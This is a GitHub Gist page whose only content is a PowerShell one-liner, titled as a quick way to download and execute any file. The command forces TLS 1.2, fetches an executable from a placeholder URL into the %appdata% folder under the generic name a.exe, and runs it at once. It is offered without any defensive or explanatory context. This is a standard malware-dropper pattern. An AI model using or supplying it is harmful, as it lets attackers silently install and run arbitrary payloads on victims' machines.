Created
October 26, 2018 20:01
-
-
Save henriksb/ae1510b3ed805893814e811d315eddeb to your computer and use it in GitHub Desktop.
Quick one-liner to download and execute any file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'ENTER URL' -OutFile '%appdata%\a.exe'; %appdata%\a.exe" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment